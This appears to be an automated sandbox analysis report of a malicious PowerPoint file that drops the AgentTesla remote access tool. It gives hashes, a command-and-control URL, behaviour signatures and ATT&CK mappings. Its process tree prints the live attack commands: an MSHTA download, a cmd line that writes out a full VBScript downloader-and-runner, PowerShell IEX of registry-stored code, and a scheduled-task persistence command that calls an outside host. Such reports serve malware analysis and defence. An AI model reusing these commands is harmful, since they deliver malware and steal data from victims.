Analysis

  • max time kernel
    75s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    05-03-2021 10:32

General

  • Target

    sample_.ppt

  • Size

    225KB

  • MD5

    9cf2b594c4e731c42a98cd29eff24691

  • SHA1

    3bb1e6523e6eee97e694cc0b3c557ecd6f954077

  • SHA256

    d0f2cb812f55b2091f4df2b6a5e69e420c7ccc3ad7378e85d7c3e24066d78a50

  • SHA512

    6e1175baf005f6c9d1d35edde84b641f63ef80b58d6bf5d75c35abe8664f5935474133c02a3b04dc760e8269d04739418e31fe332f79c8f5305ea0c9137937be

Malware Config

Extracted

Family

agenttesla

C2

http://103.133.105.179/3535/inc/e93cc142f47fdc.php

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • AgentTesla Payload 2 IoCs
  • Blocklisted process makes network request 15 IoCs
  • Adds Run key to start application 2 TTPs 6 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 6 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies registry class 1 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 24 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\sample_.ppt" /ou ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:496
    • C:\Windows\SYSTEM32\MSHTA.exe
      MSHTA http://12384928198391823%12384928198391823@j.mp/dokdwkkwkdwkdcnduskdkwk
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:1776
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c cd C:\Users\Public &@echo dim http_obj >>SiggiaW.vbs &@echo dim stream_obj >>SiggiaW.vbs &@echo dim shell_obj >>SiggiaW.vbs &@echo set http_obj = CreateObject("Microsoft.XMLHTTP") >>SiggiaW.vbs &@echo set stream_obj = CreateObject("ADODB.Stream") >>SiggiaW.vbs &@echo set shell_obj = CreateObject("WScript.Shell") >>SiggiaW.vbs &@echo URL = "https://ia801408.us.archive.org/25/items/defender_202103/defender.txt" >>SiggiaW.vbs &@echo http_obj.open "GET", URL, False >>SiggiaW.vbs &@echo http_obj.send >>SiggiaW.vbs &@echo stream_obj.type = 1 >>SiggiaW.vbs &@echo stream_obj.open >>SiggiaW.vbs &@echo stream_obj.write http_obj.responseBody >>SiggiaW.vbs &@echo stream_obj.savetofile "C:\Users\Public\1.txt", 2 >>SiggiaW.vbs &@echo Dim xxx >>SiggiaW.vbs &@echo Set xxx = CreateObject("Scripting.FileSystemObject") >>SiggiaW.vbs &@echo Set file = xxx.OpenTextFile("C:\Users\Public\FIX.VBS", 1) >>SiggiaW.vbs &@echo content = file.ReadAll >>SiggiaW.vbs &@echo content = StrReverse(content) >>SiggiaW.vbs &@echo Dim fso >>SiggiaW.vbs &@echo Dim fdsafdsa >>SiggiaW.vbs &@echo Dim oNode, fdsaa >>SiggiaW.vbs &@echo Const adTypeBinary = 1 >>SiggiaW.vbs &@echo Const adSaveCreateOverWrite = 2 >>SiggiaW.vbs &@echo Set oNode = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64") >>SiggiaW.vbs &@echo oNode.dataType = "bin.base64" >>SiggiaW.vbs &@echo oNode.Text = content >>SiggiaW.vbs &@echo Set fdsaa = CreateObject("ADODB.Stream") >>SiggiaW.vbs &@echo fdsaa.Type = adTypeBinary >>SiggiaW.vbs &@echo tempdir = CreateObject("WScript.Shell").ExpandEnvironmentStrings("C:\Users\Public\bin.vbs") >>SiggiaW.vbs &@echo LocalFile = tempdir >>SiggiaW.vbs &@echo fdsaa.Open >>SiggiaW.vbs &@echo fdsaa.Write oNode.nodeTypedValue >>SiggiaW.vbs &@echo fdsaa.SaveToFile LocalFile, adSaveCreateOverWrite >>SiggiaW.vbs &@echo Set fso = CreateObject("Scripting.FileSystemObject") >>SiggiaW.vbs &@echo Set fdsafdsa = CreateObject("WScript.Shell") >>SiggiaW.vbs &@echo If (fso.FileExists(LocalFile)) Then >>SiggiaW.vbs &@echo fdsafdsa.RUN (LocalFile) >>SiggiaW.vbs &@echo End If>>SiggiaW.vbs& SiggiaW.vbs &dEl SiggiaW.vbs
        3⤵
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:2148
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Public\SiggiaW.vbs"
          4⤵
          • Blocklisted process makes network request
          PID:3900
      • C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe
        "C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe" -noexit ((gp HKCU:\Software).cutona)|IEX
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1284
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:4892
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""tutipajikhana"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://1230948%1230948@mylundisfarbigthenyouthink.blogspot.com/p/14.html""\"", 0 : window.close"\")
        3⤵
        • Creates scheduled task(s)
        PID:1404
      • C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe
        "C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe" -noexit ((gp HKCU:\Software).btfee)|IEX
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1232
      • C:\Windows\System32\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im winword.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2860
      • C:\Windows\System32\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im Excel.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:764
      • C:\Windows\system32\WerFault.exe
        C:\Windows\system32\WerFault.exe -u -p 1776 -s 2920
        3⤵
        • Program crash
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4328
    • C:\Windows\SYSTEM32\ping.exe
      ping
      2⤵
      • Process spawned unexpected child process
      • Runs ping.exe
      PID:3892
    • C:\Program Files\Microsoft Office\Root\Office16\winword.exe
      winword
      2⤵
      • Checks processor information in registry
      • Enumerates system info in registry
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious use of SetWindowsHookEx
      PID:3896
    • C:\Windows\SYSTEM32\ping.exe
      ping 127.0.0.1
      2⤵
      • Process spawned unexpected child process
      • Runs ping.exe
      PID:4252

Network

MITRE ATT&CK Matrix ATT&CK v6

Execution

Scheduled Task

1
T1053

Persistence

Registry Run Keys / Startup Folder

1
T1060

Scheduled Task

1
T1053

Privilege Escalation

Scheduled Task

1
T1053

Defense Evasion

Modify Registry

1
T1112

Discovery

System Information Discovery

3
T1082

Query Registry

2
T1012

Remote System Discovery

1
T1018

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Public\SiggiaW.vbs
    MD5

    49744d1b597f85a2691eeeccab3f5ec9

    SHA1

    53be659955bdf552d103ddd2251f97920c4830bd

    SHA256

    09af8affea2e91779fc5bd8e45c8eb4274f6cb0fe78cb96c77586f988958fb6f

    SHA512

    7d6036c802670bca691b26e3f22badfce85641354d67d460d38ff26edef248bcc6a51bf81406b11f2b6972525f8af6dfdcc26f298438280d001b03292f767e3f

  • memory/496-2-0x00007FF7DFCE0000-0x00007FF7DFCF0000-memory.dmp
    Filesize

    64KB

  • memory/496-3-0x00007FF7DFCE0000-0x00007FF7DFCF0000-memory.dmp
    Filesize

    64KB

  • memory/496-4-0x00007FF7DFCE0000-0x00007FF7DFCF0000-memory.dmp
    Filesize

    64KB

  • memory/496-5-0x00007FF7DFCE0000-0x00007FF7DFCF0000-memory.dmp
    Filesize

    64KB

  • memory/496-6-0x00007FF801480000-0x00007FF801AB7000-memory.dmp
    Filesize

    6.2MB

  • memory/496-40-0x00007FF7DFCE0000-0x00007FF7DFCF0000-memory.dmp
    Filesize

    64KB

  • memory/496-39-0x00007FF7DFCE0000-0x00007FF7DFCF0000-memory.dmp
    Filesize

    64KB

  • memory/496-38-0x00007FF7DFCE0000-0x00007FF7DFCF0000-memory.dmp
    Filesize

    64KB

  • memory/496-37-0x00007FF7DFCE0000-0x00007FF7DFCF0000-memory.dmp
    Filesize

    64KB

  • memory/496-28-0x00007FF801AC0000-0x00007FF80369D000-memory.dmp
    Filesize

    27.9MB

  • memory/764-21-0x0000000000000000-mapping.dmp
  • memory/1232-41-0x0000000007460000-0x0000000007461000-memory.dmp
    Filesize

    4KB

  • memory/1232-67-0x000000000A640000-0x000000000A641000-memory.dmp
    Filesize

    4KB

  • memory/1232-65-0x000000000B330000-0x000000000B331000-memory.dmp
    Filesize

    4KB

  • memory/1232-63-0x000000000A7B0000-0x000000000A7B1000-memory.dmp
    Filesize

    4KB

  • memory/1232-61-0x000000000A280000-0x000000000A281000-memory.dmp
    Filesize

    4KB

  • memory/1232-59-0x0000000009F70000-0x0000000009F71000-memory.dmp
    Filesize

    4KB

  • memory/1232-57-0x000000000A1E0000-0x000000000A1E1000-memory.dmp
    Filesize

    4KB

  • memory/1232-26-0x0000000073DC0000-0x00000000744AE000-memory.dmp
    Filesize

    6.9MB

  • memory/1232-56-0x00000000093F0000-0x00000000093F1000-memory.dmp
    Filesize

    4KB

  • memory/1232-31-0x0000000003250000-0x0000000003251000-memory.dmp
    Filesize

    4KB

  • memory/1232-53-0x0000000008870000-0x0000000008871000-memory.dmp
    Filesize

    4KB

  • memory/1232-51-0x0000000008430000-0x0000000008431000-memory.dmp
    Filesize

    4KB

  • memory/1232-33-0x0000000007530000-0x0000000007531000-memory.dmp
    Filesize

    4KB

  • memory/1232-19-0x0000000000000000-mapping.dmp
  • memory/1232-35-0x0000000003252000-0x0000000003253000-memory.dmp
    Filesize

    4KB

  • memory/1232-45-0x0000000007DA0000-0x0000000007DA1000-memory.dmp
    Filesize

    4KB

  • memory/1232-43-0x0000000007C50000-0x0000000007C51000-memory.dmp
    Filesize

    4KB

  • memory/1284-47-0x0000000008190000-0x0000000008191000-memory.dmp
    Filesize

    4KB

  • memory/1284-68-0x00000000050D3000-0x00000000050D4000-memory.dmp
    Filesize

    4KB

  • memory/1284-85-0x000000000A700000-0x000000000A706000-memory.dmp
    Filesize

    24KB

  • memory/1284-83-0x000000000B090000-0x000000000B091000-memory.dmp
    Filesize

    4KB

  • memory/1284-81-0x000000000B0A0000-0x000000000B0A1000-memory.dmp
    Filesize

    4KB

  • memory/1284-36-0x00000000050D2000-0x00000000050D3000-memory.dmp
    Filesize

    4KB

  • memory/1284-80-0x000000007F030000-0x000000007F031000-memory.dmp
    Filesize

    4KB

  • memory/1284-49-0x0000000007410000-0x0000000007411000-memory.dmp
    Filesize

    4KB

  • memory/1284-32-0x00000000050D0000-0x00000000050D1000-memory.dmp
    Filesize

    4KB

  • memory/1284-29-0x00000000050E0000-0x00000000050E1000-memory.dmp
    Filesize

    4KB

  • memory/1284-27-0x0000000073DC0000-0x00000000744AE000-memory.dmp
    Filesize

    6.9MB

  • memory/1284-79-0x000000000AFD0000-0x000000000AFD1000-memory.dmp
    Filesize

    4KB

  • memory/1284-78-0x000000000A700000-0x000000000A701000-memory.dmp
    Filesize

    4KB

  • memory/1284-70-0x000000000A830000-0x000000000A863000-memory.dmp
    Filesize

    204KB

  • memory/1284-18-0x0000000000000000-mapping.dmp
  • memory/1404-16-0x0000000000000000-mapping.dmp
  • memory/1776-7-0x0000000000000000-mapping.dmp
  • memory/2148-15-0x0000000000000000-mapping.dmp
  • memory/2860-20-0x0000000000000000-mapping.dmp
  • memory/3892-8-0x0000000000000000-mapping.dmp
  • memory/3896-9-0x0000000000000000-mapping.dmp
  • memory/3896-14-0x00007FF801480000-0x00007FF801AB7000-memory.dmp
    Filesize

    6.2MB

  • memory/3900-17-0x0000000000000000-mapping.dmp
  • memory/4252-23-0x0000000000000000-mapping.dmp
  • memory/4328-24-0x0000022A74ED0000-0x0000022A74ED1000-memory.dmp
    Filesize

    4KB

  • memory/4892-86-0x0000000000400000-0x000000000043C000-memory.dmp
    Filesize

    240KB

  • memory/4892-87-0x0000000000437D9E-mapping.dmp
  • memory/4892-88-0x0000000073DC0000-0x00000000744AE000-memory.dmp
    Filesize

    6.9MB

  • memory/4892-92-0x0000000004F90000-0x0000000004F91000-memory.dmp
    Filesize

    4KB

  • memory/4892-93-0x0000000004EA0000-0x0000000004EA1000-memory.dmp
    Filesize

    4KB

  • memory/4892-94-0x0000000005B80000-0x0000000005B81000-memory.dmp
    Filesize

    4KB

  • memory/4892-97-0x0000000002930000-0x0000000002931000-memory.dmp
    Filesize

    4KB

  • memory/4892-98-0x0000000004EA1000-0x0000000004EA2000-memory.dmp
    Filesize

    4KB